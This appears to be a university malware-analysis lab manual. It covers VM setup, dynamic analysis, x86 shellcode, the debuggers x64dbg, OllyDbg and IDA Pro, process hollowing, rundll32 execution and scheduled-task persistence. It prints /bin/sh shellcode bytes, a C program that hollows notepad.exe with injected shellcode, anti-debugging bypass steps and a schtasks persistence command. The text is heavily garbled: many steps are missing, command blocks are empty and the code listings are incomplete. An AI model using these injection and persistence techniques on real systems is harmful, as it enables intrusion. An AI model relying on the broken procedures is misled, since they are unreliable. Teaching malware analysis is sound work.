21CSC310J Malware Analysis Lab Manual
21CSC310J Malware Analysis Lab Manual
LABORATORY MANUAL
21CSC310J : MALWARE ANALYSIS
Prepared By
Dr. M.Azhagiri
Associate Professor
Computer Science and Engineering
SRM Institute of Science And Technology
Ramapuram Campus, Chennai- 600089
LIST OF EXPERIMENT
STEP 4:
Name the Virtual Machine
In the ‘Name’ field, type in a unique name for your Virtual Machine.
The other fields differ from the image below, do not alter them. Click ‘Next’ to proceed.
STEP 5:
Provision the hardware
Since the virtual machine is also a computer, it’ll need its own Processor and memory. But as a
virtual machine, it can only get that from the host (physical) computer.
Decide how much of the host resources the virtual machine can use; the more you give it, the
better it’ll run its processes.
Provide 8 GB (8000 MB) for the Base Memory and 2 of the 4 available CPUs for the Processor.
Click ‘Next.’
STEP 6:
Create a virtual hard disk
Like the step above, you will create a virtual hard disk (VHD) for the VM.
Provide at least 25 GB for the VHD. Click ‘Next.’
We can see our virtual machine in the left panel and to the right, basic info about the VM.
STEP 8:
Upload the Ubuntu iso file
The VM is ready; it’s time to install the operating system. This is where we use the Ubuntu iso
file we downloaded earlier.
At the top of the page, open the ‘Settings’ page and go to ‘Storage.’
Under ‘Storage Devices,’ select ‘Empty.’
Then to the right, under ‘Attributes,’ select the ‘blue disc’ to upload the ‘Optical Drive.’
‘Choose a disk file’ will lead you to your file manager; click the Ubuntu iso file to upload.
STEP 9:
Adjust the display
In ‘Display,’ under ‘Screen,’ slide the ‘Video Memory’ to the max. This is important so the VM
has enough resources for optimal visuals.
Click ‘OK’ when done.
Figure Adjusting the Video Memory in Display Settings
STEP 10:
Install Ubuntu
Launch Ubuntu via Virtual Box
With the Ubuntu VM selected on the VirtualBox, click the green ‘Start’ arrow at the top to launch.
STEP 11:
Boot
The boot process will begin once you hit Start.
Select the ‘Try or Install Ubuntu’ option
(it should be auto-selected; else, use the up and down arrows) and hit enter.
Figure Ubuntu
booted
STEP 12:
Install Ubuntu
On the Welcome page, choose your preferred language
Then click ‘Install Ubuntu.’
STEP 14:
Updates and other software
Select the ‘Normal Installation’ option and continue; leave the others unchecked.
STEP 16:
Choose a location
Move the cursor to a location and select, then click ‘Continue.’
Figure: Choosing a location for your Virtual Machine
STEP 17:
Input user credentials
Next, you fill in the fields with your name, computer’s name, username and password; pick a good
password.
Select ‘Require my password to log in’ and click ‘Continue.’
A Silver disc icon should appear on the side panel of your Ubuntu home screen. You may need
to scroll a bit to find it.
Step 3: Launch Guest Additions CD Image
Double-click the icon to launch.
Right-click a blank space and then ‘Open in Terminal.’ You’ll be conducting a simple Linux
terminal task with basic commands.
Step 4: In the Terminal
In the Terminal, run the ‘ls’ command. Look for the ‘VBoxLinuxAdditions.run’ file and copy it.
A pop-up with a 60-second timer will ask you to confirm restart; click ‘Restart’ again.
Step 7: Minimize and Maximize
These steps should fix the resolution. Simply minimize and maximize the Ubuntu VM to
confirm.
Step 8: Ubuntu is finally ready for use
Now, your Linux Virtual Machine is ready for use in widescreen mode. You can run it like you
would run your host computer.
Result
Thus the Setting up and configuring of Windows and Linux VM has been done successfully.
EXP No: 2
Perform dynamic analysis on different families of Windows Malware
Date:
AIM
To analyze the behavior of different families of Windows malware in a controlled environment using
dynamic analysis tools.
Prerequisites
A powerful host system (at least 16GB RAM, multi-core processor, SSD storage).
Virtualization software (VMware Workstation, VirtualBox, or Hyper-V).
An isolated network to prevent malware from spreading.
A Windows-based VM (Windows 10, or 11).
Required analysis tools installed:
TASK - 1
2+ CPU cores
4GB+ RAM
60GB+ storage
Analyze the logs for registry changes, network activity, and file system modifications.
TASK – 2
Add rules:
Save the log before executing malware (File → Save → PML format).
Run:
sh
Copy
Edit
TASK – 3
Start ProcMon to capture process activity, file modifications, and registry changes.
Process Explorer
RegShot
Wireshark
sh
Copy
Edit
rundll32.exe malware.dll,EntryPoint
If the malware is a script (VBS, JS, BAT, PowerShell), execute it via the command prompt.
Some malware adds itself to Startup (Registry Run keys) or scheduled tasks.
Monitor ProcMon for new processes, DLL injections, and file changes.
Look for suspicious process names like svchost.exe running from unusual locations.
Registry Changes
Take a 2nd snapshot in RegShot and compare it with the 1st snapshot.
Run:
sh
Copy
Edit
Network Activity
TASK 4
Analyzing Malware Behavior after Execution
Step 1: Process Analysis (Using ProcMon & Process Explorer)
Look for unusual processes (e.g., high CPU usage, unsigned processes).
If malware injects into another process, right-click the process → Properties → Check loaded DLLs.
sh
Copy
Edit
fc C:\baseline_files.txt C:\post_execution_files.txt
%TEMP%
%APPDATA%
C:\Windows\System32
powershell
Copy
Edit
sh
Copy
Edit
nslookup [IP]
Check for encrypted or encoded traffic (malware often uses base64 or XOR encryption).
TASK 5
Report Structure
Malware Sample Info Name, File Hash (MD5/SHA256), File Size, Source
import os
def generate_report():
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
report_filename = f"Malware_Report_{timestamp}.txt"
with open(report_filename, "w") as report:
report.write("="*50 + "\n")
if os.path.exists("procmon_log.pml"):
if os.path.exists("regshot_diff.txt"):
report.write("\n[Registry Changes]\n")
report.write(reg_diff.read())
if os.path.exists("network_capture.pcap"):
report.write("\n[Network Traffic]\n")
if os.path.exists("file_changes.txt"):
report.write(file_changes.read())
report.write("- Review logs for persistence mechanisms, file drops, and network activity.\n")
print(f"Report generated: {report_filename}")
generate_report()
After executing and analyzing the malware, it’s critical to clean up the environment.
Restart the system in Safe Mode and scan with Windows Defender or Malwarebytes.
sh
Copy
Edit
sh
Copy
Edit
shred -n 3 -u malware.exe
Run:
sh
Copy
Edit
netstat -anob
sh
Copy
Edit
sh
Copy
Edit
ipconfig /flushdns
Result
Thus the Performance of Dynamic Analysis on Different Families of Windows Malware has been done
successfully
EXP No: 3
Performing shell code analysis in x86 architecture
Date :
AIM
To perform shellcode analysis in the x86 architecture involves several steps, including static analysis,
dynamic analysis, and debugging.
Procedure
When analyzing a suspicious binary or exploit payload, the first step is to identify and extract the shellcode
for further analysis. This process involves locating raw shellcode in files, memory dumps, or exploit scripts.
Identifying Shellcode
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
Obfuscated Shellcode
If you suspect shellcode is inside an ELF binary:objdump -d ./suspicious_binary | awk '/<main>:/,/^$/' >
shellcode.asm
Once extracted, convert it into a raw binary format for execution in a debugger.
echo -ne
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
" > shellcode.bin
To view assembly:
ndisasm -b 32 shellcode.bin
file shellcode.bin
gdb -q ./shellcode.bin
(gdb) run
Result
Thus the shell programming has been done successfully.
EXP No: 4 (i)
Analyze malware binary using debugging tools
Date :
Aim:
To understand the working of x64dbg, a powerful debugging tool used for reverse engineering and malware
analysis.
Software Requirements
1. Install x64dbg
The row of tabs at the bottom of the image contains various views and data which can be used to make
the analysis easier.
Breakpoints: It’s possible to search for instructions or strings that may be of interest and set breakpoints
against these instructions. x64dbg then allows the user to run the program until it hits this breakpoint so it
can then be analyzed.
Memory Map: This shows what data is stored in memory and the addresses where that data resides. In the
example below the ‘.text’ section of the malware being analyzed is located at the address ‘00F21000’. The
‘Protection’ column also shows if that area in memory is executable, readable or writable. These can be
identified by the flags E, R and W. This will come in handy when I explain how to use the memory map to
unpack a piece of malware.
Call Stack: This is handy when a breakpoint has been set on a specific Windows function. In a previous
image, I had a breakpoint set on ‘CreateDirectoryW’ so each time the malware begins to create a directory
on a compromised device, this breakpoint will be hit and x64dbg will stop on this function. Using the call
stack I can see what code written by the malware author called ‘CreateDirectoryW’ and identify where that
directory is being created and what it will be called.
X64dbg Main Window
The main window in x64dbg contains the content of the tab that has been selected, by default this is the
CPU tab that contains the assembly instructions.
The first column contains the EIP, which is the instruction pointer. This simply points to the next piece of
code which will be run.
The second column contains addresses within the binary where instructions reside, so in the above
example the EIP is pointing to the address ‘0138CD97’.
The third column is the hexadecimal representation of the instruction in column 4.
Column 4 is where the assembly instructions are located, again the above example shows the EIP
pointing to the next instruction to be run is ‘push ebp’.
The fifth column will contain data populated by x64dbg or notes that have been added by the analyst. The
above example shows that ‘0138CD97’ is the ‘EntryPoint’ of the malware, this means it is the start of the
malware authors code and where the main function begins.
The third column, which contains the assembly instructions, is probably the most important as this data is
what a malware analyst will use to understand what the malware is doing.
The registers are used by a program to store data which can then be easily referenced for later use, some
of them have specific uses.
Result:
After successfully conducting the experiment on x64dbg, Successfully loaded and analyzed an executable
in x64dbg, Set breakpoints on specific functions and observed execution flow, Stepped through instructions
and monitored register changes, Modified CPU registers and memory to alter program behavior, Dumped
and patched the executable for further analysis.
EXP No: 4 (ii)
Analyze malware binary using debugging tools - OLL
Date :
AIM
To understand the working of OllyDbg, a dynamic debugger used for reverse engineering and malware
analysis.
Procedure
1. Install and Launch OllyDbg
✅ The main interface will open with different sections like the CPU view, memory dump, and register
panel.
2. Load an Executable into OllyDbg
✅ The Registers panel shows the current values of CPU registers (EAX, EBX, EIP, etc.).
✅ The Stack view represents memory locations used for function calls and variables.
4. Setting Breakpoints
✅ Run the program (F9) and observe when execution halts at the breakpoint.
✅ Bypass NtQueryInformationProcess:
Locate NtQueryInformationProcess in the API calls.
Modify the return value to trick the program into thinking a debugger is not present.
✅ Patch an Instruction:
Right-click an instruction → Assemble.
Modify the assembly code (e.g., replace JNZ with JMP).
✅ Dump a Process:
Use Plugins → OllyDump.
Select the running process and dump the modified binary.
Expected Output
Result
After completing the experiment, the following objectives were successfully achieved: Understanding the
functionality of OllyDbg, Debugging an executable and analyzing its behavior, Setting breakpoints and
stepping through instructions, Modifying registers and memory to manipulate program execution,
Bypassing basic anti-debugging techniques, Patching and dumping an executable for further investigation.
EXP No: 4 (iii)
Analyze malware binary using debugging tools- IDA PRO
Date :
Aim
The aim of this experiment is to understand the Interactive Disassembler (IDA Pro) and its role in reverse
engineering and malware analysis. This experiment will demonstrate how to:
Lab Requirements
Software
Step-by-Step Procedure
1. Install and Launch IDA Pro
✅ After loading, IDA Pro will analyze the executable and display:
Disassembly View (Assembly instructions)
Graph View (Control flow representation of functions)
Function Names, Imports, and Strings
✅ Click on the "Functions Window" (Shift + F3) to see all identified functions.
✅ Click on the "Strings Window" (Shift + F12) to find text used by the program.
✅ If a string is found (e.g., "Enter Password"), use cross-references (XREFs) to find where it is used in
the program.
✅ This shows all locations where the function is called or the string is used.
✅ Helpful for finding the logic behind user input validation (e.g., password checks).
✅ Open the Imports Window (Shift + F3) to see all Windows API functions used by the program.
✅ This helps understand the program logic without reading raw assembly code.
8. Renaming Functions and Variables
✅ Rename a variable:
Click on a variable in the decompiler view.
Press N and assign a readable name.
Expected Output
Result
After completing this experiment, the following objectives were achieved:
Aim:
To understand the Process Hollowing technique used by malware in a controlled environment and to
detect and analyze the injected process using forensic tools.
Required Tools
#include <stdio.h>
int main() {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
LPVOID pRemoteBuffer;
SIZE_T bytesWritten;
// Payload (Shellcode)
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c"
"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10"
"\x8b\x42\x3c\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58"
"\x20\x01\xd3\x8b\x48\x18\x50\x8b\x58\x24\x01\xd3\x66\x8b\x0c"
"\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
"\x5f\x5e\x59\x5a\x51\xff\xe0\x5f\x5e\x5b\x5d\x68\x63\x61\x6c"
"\x63\x54\xbb\xc7\x93\xc2\x77\xff\xd3";
if (!CreateProcess(NULL, "C:\\Windows\\System32\\notepad.exe",
return -1;
if (!pRemoteBuffer) {
return -1;
return -1;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) {
return -1;
}
#ifdef _WIN64
ctx.Rip = (DWORD64)pRemoteBuffer;
#else
ctx.Eip = (DWORD)pRemoteBuffer;
#endif
if (!SetThreadContext(pi.hThread, &ctx)) {
return -1;
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
Check the process command line arguments and memory regions for anomalies.
Look at the memory region of notepad.exe to see if its executable section has been modified.
Suspended processes
Memory allocations
sysmon -accepteula -i
Use x64dbg/OllyDbg
Result:
The experiment successfully demonstrated the Process Injection using Process Hollowing
EXP No: 5 (ii)
Executing Malware using rundll32.exe
Date :
Aim
To Understand how rundll32.exe can be used to execute malware, Create a malicious DLL that executes
a payload and to Analyze and detect the execution using forensic tools.
Required Tools
Use x64dbg/OllyDbg
Attach a debugger to rundll32.exe.
Set breakpoints in DllMain to observe execution flow.
Result:
The experiment successfully demonstrated the Executing Malware using rundll32.exe
EXP No: 5 (iii)
Persistence via Scheduled Tasks
Date :
Aim: To understand how attackers use Scheduled Tasks (Windows Task Scheduler) to maintain persistence
on a compromised Windows system.
Requirements:
A Windows VM (e.g., Windows 10/11)
Administrator privileges on the system
A test script or executable (e.g., a simple .bat file or reverse shell)
Tools: schtasks.exe, PowerShell, or Sysinternals' Autoruns
Procedure:
1. Create a Payload Script (For Testing Purpose)
@echo off
echo Persistence achieved! >> C:\Users\Public\persistence_log.txt
Save this as persistence.bat
2. Create a Scheduled Task using schtasks
Open Command Prompt as Administrator, then run:
schtasks /create /sc minute /mo 1 /tn "PersistenceTask" /tr "C:\Tools\persistence.bat"
/sc minute – runs the task every minute
/mo 1 – modifier, every 1 minute
/tn – task name
/tr – the command to run
3. Verify the Scheduled Task
schtasks /query /tn "PersistenceTask" /v /fo list
4. Monitor Persistence with Autoruns
Download and run Autoruns
Go to the Scheduled Tasks tab
Look for PersistenceTask
5. Clean Up (Remove the Task)
schtasks /delete /tn "PersistenceTask" /f
Result
The experiment successfully demonstrated the Scheduled Task technique for persistence.